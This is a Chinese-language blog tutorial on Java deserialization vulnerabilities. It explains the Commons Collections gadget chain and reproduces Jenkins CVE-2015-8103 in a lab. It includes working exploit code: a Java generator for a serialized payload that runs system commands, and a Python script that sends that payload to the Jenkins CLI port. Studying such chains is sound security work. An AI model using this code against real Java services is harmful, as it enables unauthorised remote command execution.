Java反序列之从萌新到菜鸟

Posted by kingkk on 2019-01-18

前言

距离上一次更新博客差不多已经过去一个月了,中间的事情确实也很多。最近勉强把Java的基础给补了,就来记录一下Java中最经典的反序列化漏洞。

序列化与反序列化

序列化

Java中并非所有的数据类型都可以进行序列化,想要进行序列化和反序列化的数据结构需要使用Serializable这样一个接口。例如下面这个类

1
2
3
4
5
6
public class Employee implements Serializable {
private String name;
private String identify;

// setter and getter
}

然后通过如下方式,就可以将一个类进行序列化,变成可持久化存储的二进制数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args){
Employee e = new Employee();
try{
FileOutputStream fileOut = new
FileOutputStream("1.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("Serialized data is complete.");
}catch (IOException i){
i.printStackTrace();
}
}

可以来看一下生成的序列化数据

  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)

开头的几位一般来当作Java序列化字节的特征。

可以看到Java的序列化数据没有像PHP一样那么容易被人理解,是以一种字节码的形式进行保存的。

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args){
Employee e = null;
try{
FileInputStream fileIn = new FileInputStream("1.bin");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println(e.toString());
}

通过以上的方式,就可以将序列化后的字节码重新反序列化程程序中的类。

SerialVersionUID

相比PHP中的反序列化,Java中做了更多的安全检测机制,例如SerialVersionUID

当类中没有自定义这个值的时候,会通过一系列的Hash算法自动生成这个值,详细的可以看https://xz.aliyun.com/t/3847#toc-3

简而言之就是当反序列化时的类与序列化时候的类“不一致”(例如类中的方法和原先的不一致)的时候,不会允许你进行反序列化。

反序列化的利用

相较PHP的一些利用

反序列化的主要攻击方式,就是控制类中的数据,然后带入到危险函数中进行攻击。

1、由于Java中不存在PHP中那么多的魔术方法,所以这一条路可以算是gg了。

2、由于在反序列化的时候都会进行一次类型转换,如果序列化成了其他类,这里也会抛出异常。在这之前,除了readObject()方法,并没有调用过其他方法。从而序列化其他类进而触发一些危险方法也变的十分困难。

3、然后就是当原先类的方法中存在危险函数,又正好在反序列化之后被调用了,就可以引发危害。但是感觉遇到的机会实属小。

4、然后就是Java中最常用的一种利用方式

可以观察到,在每个反序列化的过程中,都会调用readObject()这个方法

前辈大佬们就去寻找重写了这个方法的类,并配合invoke反射的机制,构造pop链,形成了Java中最具特色的反序列化攻击。

CommonsCollections反序列化

transform()反射机制

以下内容摘自 https://security.tencent.com/index.php/blog/msg/97

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,TransformerTransformedMap实例化时作为参数传入。

我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。

TransformedMap内的key 或者 value发生变化时,就会触发相应的Transformertransform()方法。另外,还可以使用Transformer数组构造成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。而Apache Commons Collections已经内置了一些常用的Transformer,其中InvokerTransformer类就是今天的主角。

它的transform方法如下:

这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量:

也就意味着,我们现在可以完全控制其中的反射部分

然后利用反射机制,动态调用其它类中的方法。通过以下的链式调用,就可以命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"calc"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
normalMap.put("value", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);

Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
}

在最后重新set了Value的值之后,就触发了了Transformer的transform()方法 。

就相当于利用反射机制,链式执行了系统命令

可以在运行之后,就能看到弹出的计算器。

AnnotationInvocationHandler

然后需要找到一个重写了readObject方法,并且对其中的一个Map类型成员变量进行重新赋值的这样一个类。于是在sun.reflect.annotation.AnnotationInvocationHandler这样一个原生的包中,就存在这样一个类。

这样,我们就可以反序列化这个类,将其成员变量memeberVaules反序列化成之前的那个TransformedMap,利用反射机制,就可以命令执行。

Jenkins 反序列化 CVE-2015-8103

前提

在2015爆出的Commons Collections反序列化之后,众多厂商都躺枪,今天挑了一个Jenkins的反序列化,通过手工构造Payload的形式,复现当年的反序列化漏洞。

靶场环境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1

不过这个漏洞的端口并不是在应用的web端口,而是在Jenkins的CLI端口(一般是一个随机的大端口),在靶场里是固定的50000

流量分析

通过wireshare进行流量包的抓取之后,可以看到其中存在Java反序列化的特征值ac ed 00 05的base64编码之后的值rO0AB

所以,只要我们模拟之前的TCP通信,并将这段base64编码的数据替换成我们恶意构造的序列化数据,就可以达成反序列化攻击。

构造Payload

生成序列化字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"touch /tmp/eval"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
normalMap.put("value", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);

File f = new File("eval.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}

然后用python进行socket通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# coding: utf-8

import sys
import base64
import socket
import hashlib
import time

host = sys.argv[1]
sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

cli_listener = (socket.gethostbyname(host), 50000)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)

print('[+] Sending handshake headers')
headers = '\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
sock_fd.send(headers)
sock_fd.recv(1024)
sock_fd.recv(1024)

payload_obj_b64 = sys.argv[2]
payload = '\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'
payload += payload_obj_b64

print('[+] Sending payload')
sock_fd.send(payload)
print('[+] Send All')

手动传入base64之后的数据

之后就可以在docker中看到/tmp目录下生成的eval文件

最后

亲手完成了这些反序列化的过程感觉还是可以的,以后实际构造payload时可以利用ysoserial这个工具,里面有很多已经构造好了的pop链,Java反序列化必备神器。

https://github.com/frohoff/ysoserial

感觉Java的漏洞需要的前置知识还是有蛮多的,比PHP的入门门槛要高一截。

最后,由于一些原因,以后博客可能也不能像之前更的那么勤快了。但会努力不让它太荒废的。

Reference

https://xz.aliyun.com/t/3847

https://security.tencent.com/index.php/blog/msg/97

https://github.com/Medicean/VulApps/tree/master/j/jenkins/1